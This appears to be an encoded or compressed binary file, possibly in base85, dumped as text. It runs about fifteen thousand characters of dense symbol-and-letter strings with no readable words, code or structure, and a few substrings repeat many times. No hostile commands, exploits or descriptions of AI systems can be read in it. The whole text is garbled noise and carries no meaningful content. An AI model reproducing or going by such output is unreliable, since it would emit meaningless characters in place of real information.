zwSQsN_9a#JC1bD>v!i&veaRFU7x-8HxIld3q#m2DYkxZn|9FU?4;e5n&l1mNo)bKK zYaeKHwF<4P`i=Uidaine$|y^f%as$AedIOrEpl4+N@x}iXBT$S$F#^R16eCcKz&|DekM!n`%QN)Z-MX86XCFA^1rCRS@$OhC zA;JOLjL)v#2jfif(jW}vyU&Fv-DXeUX2f+h=y3y2aN>e_AjAbAdj{2|YU8KA2gqJV z$zZAiz9{3R0dRnJ9|ba82QJjh4AWI5>1E)fb4UmOt;bY zmBxaxgt!P~xUJRt?rq)O+8>Q3q=-KIgvt#*=Adlw1pvE!r9U9I0UIyJ^VgAS?8CcI&Tc1jo zWg3!ojn&3FwoH8{S<~`J`QjsBbXOlq3qnN0i9KXW@skG3O)E#kT~oM2Xgbf^s}jQ)qCrNKDt#MZ0oXd6Z^Ypssz^c@ z2hxviNTK@c4PO+bn?d@G4JizG8*OGhA=ZQRH#<^z(!sz3T<64X&;YVFq+uA*@`EoA zw4Kc$-2*LcGZ+T16sDsMDKv#GN3$&jsV?u^vR>e=e-FOv(m&rAppOXb;VgH+{Qkb$ z-RcX`GsCY2brs%4q;#-~eqm6&_aOL~+vrW+geT@lqOKrn|!gT_dpE?KK5 z)|fmeUDnuCTbpb+uVhL~FI4X&<(qb55}tNWbG_&|vg34rwlur#thSaYIib1{vLByr zsIAVHV0=S;Wpzy&uCKD8z80{$`i9zM4g9?!oouYHgMUdjj`L>fz2!~SH7W0yWJV_! z763@Bsjea2m}#i4$fQ$$vE;SQbwMfyum5Ys$Pa2$6~Zy~Qa*xmR`Rdr*geoRBM zc2bFvb4f41AD)CJcxvjJYHD_VjA48xSQ>z@ddy>7(L7dg^lraXnUfWnYG^2o+{PrE z#-t}raqm=ATe(c@&|EDz`n5kdSAlY&O(iqQ@?;~lNSS1&sWF>V3A7Aj(-oPr@ySdT zJh(lp>TAy76%X417~P2)4wwQzlDcy?2{3!K7^`YW-hY91pv2J9U1Y%R;%?3N2V_gAulHoEe^ zrj53BQ>WE7r~m0~w7mkSnp6MKHriG>Ynm%;w$b8WdV(Cy<$4<(x8Fv`Et+T;ueH-e zCvi=*bElHp$^|;JoZg{r85fv$%cNJ2oc-^q#!3Ot_YU|~{3%AD7=dC0iV-MApcsK- z1d0(TMxYphVg!m2C`OVN$60qDbLCZ%JR5um zH#?M+(o5Mx{!G~bu76jG$AS-l;#}#R@4Ucyia6f20!}EH>>BRs>f8=~f(hQoySTOB z_jd_*78l|qc0Kz9JBuwBGQwb?lly1)GVmXm;2!4g?D}1tBQBOYh+Dut;Am-)bc0+a z_W=jNFP%M{EWet6P&`2RUU*fQ>sjTw-!t7a3Y-afZH@M@HWPda1Dc?&Qx||M;b_NZ zW>0Vtyqc+GHZo7c8HSqttUOz|Q<%hb<3_UOsdzM%_WQiPK&a9iDo@9~$xwO9n@We% z{%BICM9VAU0iQ4I4MpRAZzvQAdy_$*-|O>*e8FJQUl~qD zKhex>Xyy(yb32;(Dw_EUnz7Dm3#wG;=kY z`97Mt2F?5c&0L3OeuQSOMKeEyPWp&sAmR&!gB9NLKsf0QMf@Qz^j-blU}dZ_>`%u+ zsYp3z)K3)CsGpc+B-&Q}I#JB;(9Cbq%q{3B-H&G8hi1-4Gao`TA4D^MMl*jxGk-)g ze?T+8M>CDOg!<+(>Jo}+)Fl)XUzff?m*{IW^D8v-OEmKfG;=eW`8l*UBlE`vKL4P1 zUl>vN6}$-_7G?=mLVp;K*ydjCUf{mkUE?0;?(BBB*1De3%e?c?A>6^- z0At5in>B-ZtGTqThj4>-WwcpU$Q;7P9HPGO3v6%)8C%ENB-e)QqEo<1l$HuhyKeO* zD&q+%V?LtnU8N2V#0Bq1FVo(13V8j~A|uhS*>N+1a~pzl7lQLJf^#2&^E86%%s2*Fv6;Jl0AEJtvDMsN_%yW?v_I-esr8|WP7Km=z$1ZQsq$AjP?o-f9U zNXJ3vIR2nN?gyvo>9D6GI42=E$00aJA~-<=ryGKE5Q4K0f+Hh1Je|XAM{qVFI4cpH zml2#t5gbH2&s>d2XDWhIhv1xv;0!@jK7pCSLP`1se7o$t25OX z)oof-Yf#FR&dd_|3%OB#Q1?IF^`{p= z|JahkKIYbaFWNf0QgGDCZp_i%vnvJXm7H{$Eh*UWfX$SCU*Xh+Tx!u;MihZus@-$u_?{7bE>l|HIMU1+m)JUbev&V3Qtb%c#jcwrSa^| zi6zu0>`G&;()o6!(X2F@Q0Ll|28=2Z0Q)iZGrQ7kD-nU?S+=`U4$&CvjPm`m7FfIA z@7vO*=1j0+y@HX_U?iGI+0(_dx>%y#z1GDxpcz zpSdbwD-CGN;U?u;)n{xU{(qjJlWnO3&w-scNg;|j7rRn0 zyYrO>{m^gP&#n|448x_-C|s~?S8AS0_NT4ZB?!HySho9aPY0iKS>2xYbkI7)OXJYk zx3{GWK>>A_(O4pAPX{s8b@4=RTOkGS*6atX{^>YzXWzk3exJ9XPt*Jfy1zg>{uiq6 zAW(`w#RwE5P>jHTLju(qmo(RXlnr(Lx8rIzGw_5TiUSX(!?=sTF3!`Y2B?Eh2W!F~2? z{%qfUADmnC9sF?spxi#R4DNF;Ob|4q~EI^c}=Rspvb1iPHbP?_hV7o1o!4h*=z>8D4QHX3=*LQ$vcrgP154 zeFrg7`k(h5JW3xqXz>?VUUqQF#>p2{Nbqk*Ij(WIzi~g}Zt`5@8RStN*N7XWgQd|z zH^&Na^t)U5Ogt2P{%&{naZUjTz&~8QT<5u-a{c0t@H_ZLjEA4b4C6WeXyyv;SneWj zF|*9`B6}(OD(7ZpcCfZwyGlDzYp1@WUaO8!_fb|UH!7o){p2H_uAi5fIMKja=cuK+_Yi%un@Vq+yCkNJz&}wDA)Z$U}L>ph}^Vl*inewbfNj7H$SM2 z!9(^G^EO7cEpNE2$%DC9QnIgY-7o2}uWj8kxwq{i!!B^s+vUwd&1|4$)u(;r|~A#&3rU`io!(`uv6w!F>u{mq5QO(&s`3z3^{LaS`cVRbT8nwW}q@q-GH!)E)O{FFlES#yCvFrlOhk!L%Tfp9`;C`4{_Wh3C&qFhjj-1MHfvJg2K zB;=eRZZ1S_8cEo1>)KdYJXJ{UxmpJf7)uL~gQJj9_IN^BS%^Ga>vT_w4TZ=}ON;O9 zzaOC|n)M=J?Q6kYE34)0YoQC9)w*mKxs4UaG4R#>Z~e==WnAFM&f_mtFWU2DiEr;1 z7(MmLHX8$(3?nd4K6gX}NTdG+jDFib#8KD*HM6BKsegr8oZ0R0gZ43sRfb}nh+_3au>vU8At+XR6iddi)Ey|+4=C2>DAtE4 z)>|mn%P7{97?#`>#o8Ce;xR1gdlYLuinSabox}3%sCWBxNY7%@(ool>ZAPWF3dMR8 z#afJF;mSB4mDYbytXU}56cnotTD}MM`?$Mphi4tYWxq~$2cBsKo?!)^ZUv6C0!LVZ zCtHETt-zD4z!R;&!B*fPD{!C{c$^h@tQ9!G3OvdR>|+HUX$3~Dz=#zXwgP)vfu&ZU z*9z=z1$MInyIO&VT7jLdz(cISPFCPSR^WkF;J>WE1FXP~m}W)255>9##kv;7x){Zp zgksgBSOZb4V^FLJiiPSjsQaVRQZOuKJBsxkinRg7T8UyUMX{bju~4sO^rz^$>cZFBMxY<`wQ&JUySe_1XA&*7=dC0iV^sKAA#ED2Ej43eLMEZk+k86 zG0CPe=}A-AQ7u!dg_r>reFuHv7Q?but8C0l(`n~4*NcuLJ5KkD*;}={L4}=-j*7m6 zMc=`q?_hb@7mrnxPh*Ma-#P^P}VrYt=nUD1@OuCFW0GsCZ{Zp_q=X-L*i zDls0Yl3sp)kCMiw+LB&%O*J)Bc544@`FIt52aCRgMc=^*)r}>+N*bE#$|~yXGXG23 zXj{+mv{ZA-cpa-YUdKh>!DuX9;SI*30dJ^0?emsblqbEu%4E8{rHytpm+NhG+YJEl#S`0w@|oHKc9MW1#bep2)u{D1$EQ%tcKfno%T5hzBW z7=dC0iV-MApcsK-1d0(TMxYph|M>{C@g4jDuBVOf;Pjg(4)3-6ct-aZIHQg4pgjAZ z23scMub$qVFIkN=4s6Oq7bggP17&5Bm=4 z{W{EiqV@xtS@a#m-1qtD9(B=o5EIX$?;s{h|MR|s)%sXPi@!kUkIwSmRrls{Nw~yu zjN@j9aI$b9?AKr5p6VW~HEDe{SzV>xCVIt6@fLBl<7Vd|=XB>Y&L3S~SEcI~*J^h= z=N|m~+I)U4--AzUpK?!gKX?xCjN}G#(>zzQDYlti#d#d>d0t_TV=iD8GT*a@Gn!hZ z_EdgWo>OKh$18ivAIP`LW8_llC+S(~LTRwnPWVy3#+IKL->;1YVJewPmM0t2WsR9+ zrm1nKb#$i5(Q+F?!-XLnD2>Jg33ZSSq3%Lu_+{vZ7hCNKO~1UTU15t;UN?I}(<85= zJ)vnVsM-^nmV!HM2*HofG*Z0Ip3pS%yTqQ*wD6m3PiUI=jkhN>y(XWsCp7*3?zbfj zm}YsK?FmhjzP0v*+54!wyeamCt^RJB!=BKzrR!i%Xu9bI?Fr+(0=hSuKcO9MLkPxR zrq$^ZdqUHT?KvC5HZE-U*%s#f*KW2aG@aM3uqQM<*Uq;mG~L$f?FmgU$kFzMrVHdr zA-;DTGr{~7e=V=7tczd>JgS1F{+KV(--Zb8VWcz|2_;UjA&O>2kwn6VD3%pP6KNZw zcvcikjK_<>ampxDJTVF0`FG~~{g9&vqLA*n6i7H`h9Txi6}(w|rQvuy;kd@eEe`hz zz*|068V`pP^7S@^@Qk(7n9p9{DbJFxudN*O%=iY|6Ph-Br`i){JC?cuU)r9~wBBp9Cp1m>rr8sk zc6(RZ6PiYQ&Gv+*#h#rPSsQb`h4ykZZS`KUCCoF_d(WQGw9@+&-ouG5L8Zh>qTRUkPQ)3OkEUD9AP7ZU@pq``6gCM^POkGDFp}e+xd0;^DstmK7SV9hd+?p&aLB~=jL+fb7ygVzzy(a*F4uW*J#&K zt^*;nZs0jMnE8%b&IZ_a%md6U&&QtUJpb{W=Q-6A_Uxr?)!xz`&@R`iwd1ryHBS9R zeL-zjC#k2YQ8>@w2jy+$A>|5XoH9u1qB!MGG?{>mzp+~(G(XBw(28q0PGHuo8ov60HyKxKSHWvr$!4&wUdcT0B~ zxYB;0;9pSi^%VSl3cj3zFQMSiQSkdH_{|jj3JQKc1+S;zqbc}F6#Qrk9;D!%DR>78 zu267?HLm_h!8cRzwX|n_e;Q#Q8etC_L8cMhG=h^x;3#2OLBSVO@TVyF{S^FG3Vt00 zzl4HMrr_f#_#g`2pMpmzcsB~(k%Ft%xUz$SZ>8X$QtTHb&=`(w zRK_n<#`jdlH&h0-_v!eQn#MXR;{z&VC6)0OmGL^2v4qN4L}fffWjsM;JVIsMPi5Rq zWz3^8sO^~JCTbejQW;lL8PwL&aTzs@OQ?(sXgRa3XXp5&&^rXq_d+kI}K)JZT(8dH`I?!S7ge@Co@&x&C|20 zzBb*nwyJ4Nea{N8n(NtET{otwCfQJ(InP^J-!LX!va=6X>vS1rQDo6~uwhb3x}l-I zp)7OW_%uX3>qn;lO9?pHq#GM`SF-99AeeZ9#z>$pS*s`3m^=qoSvA$xCL7NCYd5Os zJ2?Fy8x~Lh%RH@YJ(J*RRr?S1w6aysn&uk8F{tBC22Z;=JF>-2bBffm{-Y4f)1vR- z-}T06U1x!5A&b6)Mc=`q?_fz~Lp}JImQ++FGtg&fNGBWX>)`Ln#&O2>J8V6zHO&<^+h}p8HriHp)Bex;4vy}2!Nr*?4wzc>9sFm0F z7=dC0iV-MApcsK-1d0(TMxYphVg!m2C`OR9y%Ra4e08Rb}|gZ!oZth!Xb zQoYGDQ(NX4;~D7b=8?3ow5i%?t)Et+yr|5R_mX~;8l+KDAE~n>iQkE<#An5M;w568 zI6~|tb`o8}*TOr(Q^H(fhA>t*QHTf!2&{XvdpS59%yD1fu5=G^2izT8+hGsF>#m1g zH@GId%3T9prLMi5zdP4Empbov&UQ|KT@3x5-NEVLXMQdJ5`PbWC7NL~JGjfZ@!Tog5nKr;uv^%b?9=S6>`bkw`Qc2}S~rnPli9GBkq>T}Xzelc8y3=z{&YD6`v(pGri| zCn8gb$YdfiiHJ-jBIgm22}I;vB61E9X(A#SBGO1i8i>f*L}WY>sV5?JM5LC8)DV$z zL}V-xsU{*-L}UyRsU#w4B9bB^6-1<*h$M-~Xd+TZM9v~2XA+S!h{)+gBtb+@BO;@S z$f-o+6e2Q`h>Rd2Clit3MC2qQav~8qfrtzvB14JD5F&Cs5gANG1`&~gMC3Rkax4)U zup1;03;Lt}{zT*$B62hl=|@ER5|N{bNFO3{BoR4+i1a2Ry@*Jhh{T9Ul!!!#NSKI( zh)9r#1WW`vGVRfRYF|Pxu&2(Zm^cSh(Rj@9Ft86b*ui)(m<)xy(WpP|4F#fUZ!(w) zd&B8Ks=U%4O#8!8?LuJhi)Q@-rcxFDa79IhHx!SRdqc@s(wp=LW8O$bFj8I){@Uqe+Vuyp-`CSl z#eMN`6iOYB`y$>@xIC_xKjrm@(iOo_q}*Tb56Y#$UV&vx9{~GRGqvla!R95*1on++wjbCtux$5QV2?nv^)unW*4gQD zUpO7DjC$c~15VWo1tZ>A++XPpl*a>Mc-&G+Uy@q{Y{M-RRTHKI`#|GLLZN7~G7$F$ z{Q7g74EepuSS0ODh2j;J6~0s`l}fo@0`}R&06SjsXhnc|u_umDM2BLvTC=}wR0omScSBFyTIM%P_opU)qS z1jDR8`+m|caO8|fgZvC}j&y@m zqx4etkUx{3_1y2+?3wNv#q8-R_3+vn?P2B!Gu0xmoTHfV2AC=}rbcwz|GdH7|8_>*8&`hIMM?Lo+q0?N8W`5{oA@Z17 z_Z2$LFCk4_T{3zUsQW&}$Q@JbCZm~?lnss%sIqTDmwh9e`6-(DCYren&3psRT#sfN zXEC7S`8GODqd$vE({S%cF_)ure*w*W8qHjUX1 z=5uJ~vuNhSXr|$HkBa<*Mw*y-8egxdx^y8r&FN_7G&J)XH1ldS^D6i}!1Zm6?{HM) zKR0s6^p}iL9#opf={zXrljz)^Kr0?nL-W?qhFUWR5~ zf@WTfW?p14G4*pHJRN)KAJ8r91>PFJVB8U3JbIYKo#zE zA>JWQ5Qm7Jgdc@hg`0)(LVuxy`)l_i_jT?n_Yv+rT$@}=T!(P~aXiDl&Aa&{`9}U; z{$uAp&f^_hnKPMdnb(*dY?vL#-p0PqsoXJ47uQv;)0|H__0gQ2e=ugmxeb7(QST>M z6>L#7?XAb-Rp4K2_)_{4>PL7L82cK|=7EHkw4pNXu!rMS0nNClj{0&k5 zUZE&9U9i4x-8`jzX+veYP_MS3GSB^Z%ZAD{;9qJ(WxDS_k5$2Q3nt>R(ois%(C)XV z%K7d$+fbRN`&ZgfnU4EYJu4ma^1Ul}XT+|zVr@?9xE`NZo@?!GHdN-p7Y|@nZ7kS- z#HzqM*fiu_Vnb#6|Gs??-=&N08f!jFxz$|0V9@9DiQV}w#!&$#-tw$v4+sD!XJ~!H za6o`?I8e!tCA7D2y^+#TIFMj3q;jJMHxx;*ms7d1EH{>5ucvaM0f%b{0rwUfH>h87 zmU}Oi3ojv^8&9xLP`U7O)Z^ewurE`&5Z)Yj1(gdAl+N`h*pH}Oc+hn&+>0-%T=TyD zLgi-fTR52Dcq%u0-@>5;*N)1~-ZwbffIE=J1s8myY`{I7%FW(4J>3|Uo4apty#uJ+ z+u}iaId9ubN4Nt;BG~5 zgQ3!}56bp{H5YDLs8=Xd8VdLl{GL=U80zP^|DtjuS*}09ccpTpS#BV~N2uIbmK#j) z{i)n|Yr2%W13d#cVMH$*q&u3HE_9R)ZaBf$QMrLu?qn)A*vh?(%FW%kNP@qK%FW$3 z;NC^$=I$GCAE$D2_YJsu~NG{JA6aiNV0g-hdbSOCA3%7yy|TzJJg z9aJvdw`{sj50wk|Etf8(P1P$-uTZ4aAB-oQrPOpyu9wP%dmJeZ_#xe+Y;gNfxlkV< zU1%SiC)(hi03XUd$bA_7(?U--7>p*IN#M5EKdf8E1-|KeQSymN(H)XH+HoRV?(mFi zSrgDQ{|{pTxpf2bY;~QoL0>5#9;?sUXJ`AJr-mO6-Aq#EgHX_0h;zV<+0WuUJN&{r>r2k7eygt?wo zp8Gx1vuhC?o0&bCBbck1N_|}c>;ur?)PzZlK0HEMYNAt6GvU9WnZKf$zoD6bpqa*6 zHdKlJM5nn8&D?=zZbvhXSr=4^j5!|^)0p!?F^w4#6w{cSLNSfGJ`~fKbwM$WIW!d0 zn3F^?jTuoC)0lNZF^yRl6w{b>K{1UPClu3I(}7}sg07#&oH;7ZkI`uwW9q0hjWKl; z(->1nF^yR)6w{aqM==+o%Wlk&pwcvENKi~;h6KelW=K#>V}2XOG*&>Mn8peS6w_D% zfnpjfAW%$W?Fou$tUW<7jkPBzrZH!ZVjA(FU_gl4WqGe6Xs zsCnZb(9G}A%&lnVcWCCfXyz83iMmJkqnXBPL{yr_8dwz5Skr-GJ_w&&=cAZEqf7J? zn)##7MAaoc^BZ)U`1KcGq0{^l&HOu73jZDJMDXt;qeQ5>WUPHgF+Yd;xh;QO;Nd^p zcRqH>oW2tLIdqx z>MiPYHLVU*4+qDAt;$MaI-F%VP&i!B+*{o%-A{r$z!djr_c89n+@kAi*ITYfUDvxN zxK4NVaUJa9ou4~jcRt{}+Sv#@1LDpD_#ONPehK&jT+Y|=C-EV^J@-5J5x0oDotw#3 zb3?eE+@9=D>}vKIb}l=OO|i$Z-Id3c8_Q)X{uBv9VHzk?hro~Ul4B*r;26bQQ|?u4&h_r1>qJw62%{T5jcSBO`6x#ezXF= zv;se|0#{psZ&`s$t-$B4!27MhW-IVYD{!h6INl0OT7ko@z+S%KGEftOl=Q>?(Vt-!%n-~cNyW(9V)0uQhP zH7n3z0V>~Hfg7#BRaW4uR^ZcCpjCsR%(YTpZ3RxZ0y9=%r4=~J3OwEl>}Lg9RTE`@ zE2UL~p->Lubo^$0f}ewOP^aTtivCLqzKMdbr{Et_@KqH2Z3@1Of>TaNbi72-Qx39q zP)_J{JVr_XK?;5^1;2xW-$KFXQ1I(1_|+8rq64{p`Nw1LbW+1aYq;JTPFcgJS;NDu z;bW}f-qvu?8g6e5?`aKNwJ7or7HyIInH6}C6?lUcIKv8TumVS0fy1o8BdkEH_qN=@ zO6jryC9AIhX@iw=g%xPkU6-uhzS114WG}G-&#?kiR-jdnT=YLQ)xKrsTv2<#dGeOwtcVyZZ> zO!@CvBlCBx<@r0-9N||y;a5@NS7!Zfb19e_A{+B^D5fzlhhiG@aww)TFNb0p^KvLA zeqPR)9YUpP%nqTL#_SNvAt#>zny(`Xe@Ok;&3 ziuwPscO7s}6zzL=)05o|C<1~7PgFoIq?bbwP*f1CU|GwNyUW4B6-;sz5fwy41W{B_ z^iZ**Vnam4f`VN{#fFLv5xbzGek%UoN%pcigv>kP^Yi=oPky=z^E^8{@61lyd7n4a zE25B@lb9%ErdLEEGrb}Tnduc#NOZ3#cOdnSc{k;~(a82_WIHsnEgHEO8rcSo+!Kx5 z1C4BrMz%sD-DsqWMk;8ej7GZ9NGBTUKqKvFqz#R0-e>&)rtNLwQnO?ON-qasKK&%ki@#=`h(l z+PYc2mJ0LF=1WXp0g(T=1-J$Ny%wl!O525=?Y4`co$qNrJl;4wF=3*u*)O`Nz}fAa zQg)$lyRmxw^+Y;ZQ<*B??i)omr;^dhhLMTNbouCbdIW@^?J=UEF43cIMC0&=9+eGM zi5{t%`r(bW@nlVUd}(zt-Z(m4 zQ0t5Uitq|D^WZfA$oKoSyz)v5t~B0s;;Re;gI#n z$@LA%x_Is17CX7IKAA|7hMrDT?PAI6n(8wp-=Cr6$;Nt6J*ZD78%PoLBG<+18~?^4 z#~afP^$m3mjj3HMa8*-XroakAfyXu^N0rw>qcDp555&f1>U(ONY8hi=J9nu+5SvEX zg`@ZHY0va^+4p>0qOvjb{^WH&BWhCVhT+M0-Gq|N3sq9)^K~zQx45LNzOlA;;&u;_ z)0n{=9Ik8{S=@-jl*^>{O*Q|)5r^s7>Y7IE>WIUX--xE+3?q(dS1K3!=<403k7hFR zq`IcW|9T(IR^Y0ps{heGnyH+%O_hv&v}2dvAfc&(^wBZ)J~~#Qi_Xd1;kxKJu8X#8 zS5l^2U?F27i<#zqfs^LdH`Q+()RXKBi0&-{{KJ3T0^9=J0^9=J0^9=J0^9=J0^9=J z0^9=J0^9<-jRj=U)KSvEys1Ayv0CU33RiZmxS;G0E72W15urP%EdIxp2O$O`*BuN5 z0>0`{JmSincEg+%as3@ZFCU#Zs%VMv?neFgR` zlZ)#PV(ghYEsT1Pxb7gvo{ys2=TbEC5j1iM8p(ABF}3+J+MX|=kz98WWBJ8sd%l52 zu08;$(CbO(o^W*2C$5LZTb5c9=Z#Ur`yAf|op zp1OlKlP!pV_2!)R;)0I<|&Y&&$ zgnSvO{2k=l;(F3G!*#mrVCN5@5irxKIS+CC=vZMt-F}VzHHYFD;JDcQrR88tg=M~F zowcp?B^0@~|7OAf^QF>Hpa!+%w6!#KO z6laPr2=C@?%=9!Loe3JX^RssOM<^hY7sRgec|yK`rkusbg(7<a0lIUCy#f-@=8nYq~re}sEJ zGZ*6gLH$DDFD1#$h4_&=x0;!2L~UEd%#CE?R)!*)vVfKAH)659&dfEUzdg&$HR36L z$;>t4J~FmR5|OGb6!b*AQBCc@oNu(OIU?r4_NcHI(a3DkZ?N7lFWlk1#c=hYhx3`a zM(D#?%v>V?;)TpyBP{DV%v>YPY6Uab2)24MD>pCX>XFP`Bk*d-Zw}=RG`ar zF4a$%xkjYdcbU0Hyw^3%TqEl1bJV&cp*SI!7j)?nPaq1hEiG6IjMO?s#!{g3ClrWu z*%nKIJ|8GC2zc2EOMxL(r*y+oU!2*zCUU_dzrOMxLi;t6^q znsgGD0y7z%awe9Nsr?`ftWq_WlBxX+Wi*zOsr{fAYX4j+g?K`?2-Qe$Fn^)!h0VnX z@^}C{h2AXn2Q$J$cE{#oP!7dXjKGp*?35UmVuYlmw`9He2IXj2!&#*iTep^-{^^0n zRc5XcID9KJ*9a}Yo|Wr^UILyu1WUhV%v|XD2p5(@bJ)1>qGhMbL0C4H6~XoSJrRFM zQ@VqgrXMo!Ad%iU#%YoqHK*G;a8F3lBzID?y=tDSc{r#TZ4 zeQ!M?&i-#)>9nmuIS!}gu+W!qi0skTa6AKSjxe_7wQ zF1B6?55s@l0^9=J0^9<-nFUHrM;nXD9r;wNKhYsy(IKDEA@9;5Yv_>Y=#YEqkok1T zEIQ;uI^-NWq=F7PnGQLU4hhjA2h$-P=n$0-k*E-5D;@GB9kQMdd7Tb39nzT&p*L^WUDUg{=F%Y-(;+E3 zBukgj#RX=~zJ8fPd`T~1_@&HzMFe6g1 zo6S~vasK~WV3OF>SgZ<^zktLDlkyeU9pt)$$q8I{Fx5~GB8ljAZB^;; zc$!Gqr4m`$!kQ`oV9rniC*1&8t~(em1lo(W*16(8!f& zAsO94%$W!kkL0?8m{zxmyu~QX z@1DAY2a;WoX5GQ^d!By#?adz!af;6hhYQyT?&IBisqd*btHULe)JM3+{fy`q2Z@&o zudCgZZv`8@uH#&-ook(QL4R;x$48D^9Mz7l_OI>t*^~B= z?HAi)w)1U$ZD#9p*6G&4)>f7`EORWUTlO)3XkK7Wn7f$1GA%NlV+u+?OUtB*@DTaG z!^{IRGEmKN%(HRDTb$|37leWXlDR`E>Zj~vZ&@JV@drTd>=AadAwBdOJK4}4dY+wZ zhz~vKzEof_7|5_>RTlk0O+JA==SbFIF-_gdPR^aMSHET?6ZM#kSfW3y$>*|@Ls@b} zlc%wh!#VOCc5);~zLlK}f_fl`>5ppigY4v3j{Foe8Dx|)Ima}4H9OhR@qC}1Y=~lh z$xhCxamv52lMNYAD?8cHA8o@<20c$*4W^_RGEr}05CLIy?8zQvG1^CuDm$=0Ko$v)5*)AemnW+xlsxTmv|4fWIt zcCsPcI*Ofa=*5m@CuhY-iNexF>|{fpX%;)#kbS+LoowjM-oZ{b6saC!Ci@N5*eBV^ zhFtAS>|{fP>uq+jAy~^g4+GgTLptm`_MEdVEDVywzp<0EEey!2tthfCmb)iA*-*>f zzZkMF>IwP%n(ARE$IARf8rP?(?EN-Kqc)QVG3OjGL~74qCmZUxBiYG@Ebn-BvY`je zI(>vGZzyZ9kfzRM&l$*3PcRVB)Y}=!F!9tU>yYyzc5*a3(~oHC{p{peZe8_Y%-p}1 z2ujc`S9Dd4$#}Y^p}xE>)x4e~Dygt4g6=Qs@rS*diIoX`UzTZMWkSc7W!hMo(CcNH zE>SO^v~F;C1F()MDm7@r}vyAHDbge<+A_XWhW$5kJB^nPDCO+N_< z;cdb4q~&_cSj)-kRJB6wt#(khDz7VxKx?pC>8I=`|4V*Leo($#9w{Fsm$DOJQjy}gZWAGJaeP@1oNS0t8H)VkJi=JJKgKti`|#IN4WdB_ffa1Yt)5~ zm5wi+VP`AnnYP}}JDrnl_uHo1s_e(uOKiW}-jY^HH%jBBlciG0W_s0hm+2zYS*D1o zwe*$vvG|yHjo2U#aEx=D9>B+QaIweCk~7=;S!a zG?)lnH8;c5_*6PkSKc@}T~n7RPbDfF>Z?-HKon{S3UxLHCBBA2J%vKuheFLqp=P2` z2cb}%P^gY5R9h6PH3}u8Q0JjgqfjUfg&KfDMNz08C{#D=%|h!IZ%1d-;QT&mhp$T| z26P$*G#CTwhXIvgKzr5Z4{7il^fh@f2*A zrQ_+w)bM!Y@Wh0Y(aDC9iOO{O=y-Yr$hY+v(NLG@Q8%J-ctelMhN?u5R89Tx#@cwY zCOy8ix*<6{Q8ID6YRH`n!Bhj+9pt)$i8$9C{C7w##v9WO^$m3mjj3IGC%Nw62(CM5 z+pbs79n8e^>XW$cU`}L@>ke|=!ODtesl@_)G}{|i)l}sWdUc$vII{C)n46WSlkxgg zP3A*vSOGEe+;@6R=ULelw+lVnZMP8myLAWGuWcMqHS)TB zx$fZKwZP@~8NEzm-D@Mn0E7P^CTFH63( z@r?n$Iw9d?r0$?H?4MR16gG)_h=+++h}Gf-ahVjARQqlA2_g}WsHloXsuDhLsn;K@ zCfh)<(s;0+MXNH$j{Ko4QM3S9mLe;J7{~pjYe|a zL5#B67Gh7#H%fIg8u>jM`5hX$8|n_C%brf7cznknB=4>kItm zcfPcbW1__=ri7ltTtQr5Z)1DYHph0Vt-bYKwY~DLGEX@}*+>3Bo-dcnom?Ng7PzWh z2Rk=87dmU59>@2N2OVig*#3)k6zB@vV_jgjsTY`go7R}FQ-Lr+c(&MnEx42)hudq+IpDe5vKek?Pt+JL{wt~9BG|P#W4(3nEGr})y?v)kN z+tIn0?T)q?vVo7HX;~!@UCd(vng%i+hM30U;%E;+A$w#TkZEPhK4fq6;1-&KJ9MmR zHVKjK2!MWBna}G9djp#AA^IU(nB*2T4MZOe0mP?^qpc{8_7n@vXeG;7Xojrh8^zIH zXQ3H7lrOQ+a_5uO_lu*w$3n{;bW=AJN889k%ef<{-xNptRy|dmhJD`*VWJc|H}Zs8 zRUr@tO0v)lC8JA!q(2s@%x7Q=>#B4J0h`XbmM`I}+KwDHVu zBj~4j%YsDC3_7wY#n3bTU?>*TgjvPV^?uN+30D_G*ZV=BUsnuW?+1ZCpP3HtiQW$a z{gz_rdOrx3zq1&+K5>U37s>U zooCEDKSOu=&=ify@dqq4W8%M-g=Wm)Uo4LH0t?Mp)GTG7<*i{K27Q6O$%4CiUm!7S z)Sup(rnu9xNoWuy$$Y1Ms(pm}6ZcB@?e1yrk?uimkGqw+MO~{dQLk0cRnG)9!cMBB zY*3z6?gTx;TID#!tL!2FC_7zWyH>mI2OYw+>l9bi)xr6@bG`E^=K|*xXSMSfXE&$p z_|~xo_7SdjjB%XiD0A#%-v+vYPup)5JBgBgpuM|YwS8}U-L@F^CC1q_`E~hz&^WA> z2g+T<-r_KEviPictK<|nNu#CXr0&u$(p%DEX|`#B=|a=lro&7f%u~%(<|ECW&1TaE z(@M+pmOEjeVT9!vOBajXyvh8$t+TDQb*uF~>r>X-AU;Bab%-@)-Op-*!VCMFcD@6l zzE?1H?E$9#r1hs7E8@cw_384eniM!>SB@x;*VZcg}6>%pO zF^7s+Per^;MJ%HsTnAGTZKw!|hH!pQL%1%aBI>D#GpUGyR77-tQ{Nr8!i;yBvmGVf zQaIi5BPIP)O8V>665L8f%r5vI4sgCy_!*p!Qqu3Bq+dfxzlf544kf*ul0KM{-jkBv z75e`q^i=7FQHlCgc}@N3#x(o^oDZd6I+!A)`RpL+tDPsU-+9t&J5O4<^Q1?1p0sf1 zNjL30Y0l1*X6!s^${wae9mE=mRJvSu%q(nM*DX6vFW6##E|~gV!PIXHrhZc}bz{NQ z&kCk)D46;|!PNH)rXE``bzs5NHwvb{UNH5gf~hYSOnsqX>eB^NR}@Trs$lA}f~k)d zOkG+q_2Gi4iwmYcR510nf~mI_OueOG>Vkr)Hy2F3sbK1j1ykn~OueRH>eU5PuPT^Y zcpSX4Aoq%bsh1Q?ok|;_o!zL2_EdzGhH(5uMQorV3ilWn7qr8af~gl3Or2aXbyC69 zaRpPy7EB#eFtxE@YPw)*s$goeU}{al)DZL~?NhZam7vc2x$^+V3=b;-n%(L`UMop=|M?jXSV?>}t;P=OlzKdLa2`}l`B zCdG9Jn}cZVKw@Nj6{y_zQH*6l1uA71`nDUZOVlLN$r=!L<+_8puq9b_%RE_`tO(;o zsrkd9u58I>_JK{K9YUz%q~RG6Ce&`z(A`gl}M#X zJfE5>NWs)~M&GERw!A)GM{bsij{#lD#=5$Aa{Mle(T!gF9Du%M4QR4mZ{(VHXxABk4rd zUtVRl23OaV$c#?=GmK8j#(LNRu1_Z$$S|Z2OLg)3#=mh`;<|%IXn9P3Rohg_*hf3I z>!aD)(f?cB!4J+j;qEhjI!oocga7FTKF^O^fLnlDfLnlDfLnlDfLnlDfLnlDfLnlD 